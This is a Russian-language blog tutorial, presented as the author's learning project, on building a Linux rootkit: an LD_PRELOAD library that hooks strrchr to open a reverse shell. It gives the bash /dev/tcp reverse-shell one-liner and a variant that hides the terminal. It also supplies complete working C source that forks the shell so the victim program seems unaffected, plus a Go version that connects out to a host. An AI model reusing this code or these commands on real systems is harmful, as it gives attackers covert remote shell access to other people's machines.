Дисклаймер: все описаное в статье является моим экспериментом и сделано в ознокомительных целяхa, автор не несет ответсвенности за ваши действия.
Ввведение
Недавно я озаботился вопросами информационой безопасности и в целях освоения информации решил сделать простенький руткит для реализации reverse shell. В статье будет описано что такое reverse shell и как его можно вызвать через перезагрузку функций в стандартной библиотеке в ОС Linux.
Что такое reverse shell
Reverse shell или Бэдконнект это схема взаимодействия с удаленным компьютером, при которой этот самый (атакуемый) компьютер будет клиентом и, соответвенно, будет сам устанавливать соедиенеие с нашим сервером. Основная опасность в том что если наш сервер будет поднят например на 80 порту, то это позволит с определнной долей вероятности обойти плохо настроенный файервол.
Самый простой способ реализовать бэдконнект это использование nc
и bash
.
Для этого на сервере (компьютер атакующего) нужно вылонить:
nc -nvlp 80
На клиентской машине (атакуемый компьютер) необходимо выполнить:
/bin/bash -i >& /dev/tcp/SERVER-IP/PORT 0>&1
Это команда делает следующее: запускает интерактивный shell (/bin/bash -i
) далее происходит редирект stdout и stderr (>&
) в сетевое tcp соединение с SERVER-IP:PORT последняя команда (0>&1
) перенаправляет файловый дескриптор для ввода stdin в stdout, который уже работает с удалленым сервером.
Надо отметить что если есть необходимость закрыть окно поле запуска этой команды нужно ее чуть чуть модернизировать:
/bin/bash -c "/bin/sh -i >& /dev/tcp/SERVER-IP/PORT 0>&1 &" && exit
В итоге можно увидеть следующее:

Что такое LD_PRELOAD
LD_PRELOAD - это переменная окружения, которая позволяет загрузить любую библиотеку раньше любой другой включая библиотеку libc.
Например команда:
LD_PRELOAD=/path/to/lib top
загрузит сначала заданную библиотеку, а потом запустит команду top.
Получение списка системных вызов у программы в Linux.
Чтобы получить информацию о системых вызовах необходимо использовать утилиту strace
или ltrace
.
Например давайте посмотрим какие функции вызывает утилита date
:
ltrace date
В результате будет видно что-то типа:
root@linux-stand:~/shares# ltrace date
strrchr("date", '/') = nil
setlocale(LC_ALL, "") = "ru_RU.UTF-8"
bindtextdomain("coreutils", "/usr/share/locale") = "/usr/share/locale"
textdomain("coreutils") = "coreutils"
__cxa_atexit(0x55da38e4b990, 0, 0x55da38e62248, 0x736c6974756572) = 0
getopt_long(1, 0x7ffd0e229518, "d:f:I::r:Rs:u", 0x55da38e61260, nil) = -1
nl_langinfo(0x2006c, 0, 0, 0) = 0x7fd5f5512b1d
getenv("TZ") = nil
malloc(128) = 0x55da3a6e0400
clock_gettime(0, 0x7ffd0e229350, 1, 0x55da3a6e0400) = 0
getenv("TZ") = nil
localtime_r(0x7ffd0e229280, 0x7ffd0e229290, 0x55da38e5a10d, 13) = 0x7ffd0e229290
strcmp("", "MSK") = -77
strlen("MSK") = 3
memcpy(0x55da3a6e0409, "MSK\0", 4) = 0x55da3a6e0409
strftime(" \320\241\321\200", 1024, " %a", 0x7ffd0e229290) = 5
fwrite("\320\241\321\200", 4, 1, 0x7fd5f56d0760) = 1
fputc(' ', 0x7fd5f56d0760) = 32
strftime(" \320\274\320\260\321\200", 1024, " %b", 0x7ffd0e229290) = 7
fwrite("\320\274\320\260\321\200", 6, 1, 0x7fd5f56d0760) = 1
fputc(' ', 0x7fd5f56d0760) = 32
fwrite("24", 2, 1, 0x7fd5f56d0760) = 1
fputc(' ', 0x7fd5f56d0760) = 32
fwrite("11", 2, 1, 0x7fd5f56d0760) = 1
fputc(':', 0x7fd5f56d0760) = 58
fwrite("27", 2, 1, 0x7fd5f56d0760) = 1
fputc(':', 0x7fd5f56d0760) = 58
fwrite("36", 2, 1, 0x7fd5f56d0760) = 1
fputc(' ', 0x7fd5f56d0760) = 32
strlen("MSK") = 3
fwrite("MSK", 3, 1, 0x7fd5f56d0760) = 1
fputc(' ', 0x7fd5f56d0760) = 32
fwrite("2021", 4, 1, 0x7fd5f56d0760) = 1
__overflow(0x7fd5f56d0760, 10, 0x29ccde70, 0Ср мар 24 11:27:36 MSK 2021
) = 10
__fpending(0x7fd5f56d0760, 0, 0x55da38e4b990, 1) = 0
fileno(0x7fd5f56d0760) = 1
__freading(0x7fd5f56d0760, 0, 0x55da38e4b990, 1) = 0
__freading(0x7fd5f56d0760, 0, 2052, 1) = 0
fflush(0x7fd5f56d0760) = 0
fclose(0x7fd5f56d0760) = 0
__fpending(0x7fd5f56d0680, 0, 0x7fd5f56cb760, 2880) = 0
fileno(0x7fd5f56d0680) = 2
__freading(0x7fd5f56d0680, 0, 0x7fd5f56cb760, 2880) = 0
__freading(0x7fd5f56d0680, 0, 4, 2880) = 0
fflush(0x7fd5f56d0680) = 0
fclose(0x7fd5f56d0680) = 0
+++ exited (status 0) +++
Создание бибилиотеки с reverse shell
После ознакомления с необходимыми вводными можно сформировать следующую задачу: нужно создать библиотеку которая перед вызовом основной версии запустит бэдконнект.
Создание функции c инъекцией
Если взять пример из выше, можно увидеть что date
использует функцию strrchr
, ее и попробуем расширить.
Для этого необходимо написать небольшую библиотеку на C:
#define _GNU_SOURCE //нужно чтобы использовать RTLD_NEXT так как она не определена в pofix стандарте
#include <dlfcn.h>
#include <stdio.h>
// определяем альтернативное имя для strrchr()
char * (*orig_strrchr)(const char *str, int ch);
char *strrchr (const char *str, int ch) {
// Сохраняем адрес оригинальной функции strrchr() в orig_strrchr()
if(!orig_strrchr) orig_strrchr = dlsym(RTLD_NEXT, "strrchr");
printf("inject\n");
// вызываем оригинальную функцию
return orig_strrchr(str,ch);
}
Если в кратце то мы реализуем функцию с сигнатурой аналогичной переопредяемой, после чего мы пишем произвольный код и затем вызываем оригинальную функцию. В коментариях даны пояснения о том как это работает.
Далее необходимо скомпилировать библиотеку следующей командой:
gcc -shared -fPIC ./inject.c -o inject_lib.so -ldl
В результате после компиляции можно увидеть следующее:

После того как заготовка инъекции готова, осталось перед вызовом оригинальной функции добавить вызов бэдконнекта.
Для этого необходимо написать небольшую функцию на С, которая будет его вызывать:
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#define REMOTE_ADDR "xxx.xxx.xxx.xxx"
#define REMOTE_PORT XXX
// функция для запуска reverse shell
void reverse_shell() {
struct sockaddr_in sa;
int s;
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
sa.sin_port = htons(REMOTE_PORT);
// подключение к удаленному серверу
s = socket(AF_INET, SOCK_STREAM, 0);
connect(s, (struct sockaddr *)&sa, sizeof(sa));
// перенаправление ввода/вывода в сетевое подключение
dup2(s, 0);
dup2(s, 1);
dup2(s, 2);
execve("/bin/sh", 0, 0);
}
Что делает данная функция не сложно понять из комментариев. Теперь добавим ее в нашу инъекцию, заменив вызов printf
, на вызов reverse_shell
. Полный код:
#define _GNU_SOURCE //нужно чтобы использовать RTLD_NEXT так как она не определена в pofix стандарте
#include <dlfcn.h>
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#define REMOTE_ADDR "IP-ADDR"
#define REMOTE_PORT 80
// функция для запуска reverse shell
void reverse_shell() {
struct sockaddr_in sa;
int s;
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
sa.sin_port = htons(REMOTE_PORT);
// подключение к удаленному серверу
s = socket(AF_INET, SOCK_STREAM, 0);
connect(s, (struct sockaddr *)&sa, sizeof(sa));
// перенаправление ввода/вывода в сетевое подключение
dup2(s, 0);
dup2(s, 1);
dup2(s, 2);
execve("/bin/sh", 0, 0);
}
// определяем альтернативное имя для strrchr()
char * (*orig_strrchr)(const char *str, int ch);
char *strrchr (const char *str, int ch) {
// Сохраняем адрес оригинальной функции strrchr() в orig_strrchr()
if(!orig_strrchr) orig_strrchr = dlsym(RTLD_NEXT, "strrchr");
reverse_shell();
// вызываем оригинальную функцию
return orig_strrchr(str,ch);
}
Если скомпелировать эту библиотеку и запусть, то получится следующее:

Реверс шел запустился, но как видно родительская функция у нас не вызвалась, и в глаза резко бросается не стандарнтое поведение. Чтобы этого избежать, соедиенеие с сервером для реверс шела необходмио запустить в отдельном потоке с помощью fork
:
...
char *strrchr (const char *str, int ch) {
...
// запускаем бэдконект в отдельном процессе
if (fork() == 0)
reverse_shell();
...
Так как в Unix все процессы представлены в виде дерева и после завершения родительского процесса, дочерний процесс не завершит работу, а поднимится в иерархии на узел вверх, то получится что код будет работать как нужно.
Теперь после запуска можно увидеть следующее:

Тут видно что реверс шел запустился (справа), а исходная программа отработала как и ожидалось.
Исходный код библиотеки здесь
Инъекция с использованием Go
В предыдущем разделе я показал “классический” пример инъекции сделаной на С, но это не означает что это нельзя сделать на другом языке.
В данном разделе я покажу как сделать аналогичную функцию на Go. Для этого понадобится библиотека dl для работы с динамическими библотеками в Go.
package main
import (
"C"
"fmt"
"github.com/rainycape/dl"
"log"
)
// функция main должна обязательно быть в динамической библиотеке
func main() {}
//export strrchr
func strrchr(s *C.char, c C.int) *C.char {
// запускаем инъекцию в отдельной горутине
go startReverseShell()
// загрузка родительской библиотеки
lib, err := dl.Open("libc", 0)
if err != nil {
log.Fatalln(err)
}
defer lib.Close()
// получение адреса оригинальной функции
var old_strrchr func(s *C.char, c C.int) *C.char
lib.Sym("strrchr", &old_strrchr)
// вызов оригинальной функции
return old_strrchr(s, c)
}
func startReverseShell() {
fmt.Println("Start inject")
}
В данном коде я расставил подробные коментарии, чтобы было понятней на какой стадии что происходит.
Для открытия бэдконнекта необходимо просто заменить код startReverseShell
на следующий:
func startReverseShell() {
c,_:=net.Dial("tcp","127.0.0.1:1337")
cmd:=exec.Command("/bin/sh")
cmd.Stdin=c
cmd.Stdout=c
cmd.Stderr=c
cmd.Run()
}
В этой функции, как и раньше, открывается сетевое соединение и дальше ввод/вывод перенаправляется в него.
Оличие от реализации на С, в том что тут мы не используем потоки ОС и поэтому после завершения родительской программы соединение с сервером будет закрыто, так как горутина завершится вместе с программой.
Полный код библиотеки здесь
Команда для компиляции:
go build -buildmode=c-shared -o inject_lib.so main.go
Заключение
Выше я описал самый примитивный пример вызова реверс шела через инъекцию с помощью LD_PRELOAD, в итоге задача оказалось довольно простой в реализации и получен позитивный опыт. Для написания подобного ПО также не нужно сильно знать С, а использовать более высокоуровневые языки.
Еще раз отмечу что это был образовательный проект и за применение полученных знаний ответсвенность будет полностью на вас.
Ссылки
- What is a reverse shell
- Reverse-shell или Бэкконнект
- Hooking libc using Go shared libraries
- Reverse Shell Reference
- What Is the LD_PRELOAD Trick?
- Reverse Shell Cheat Sheet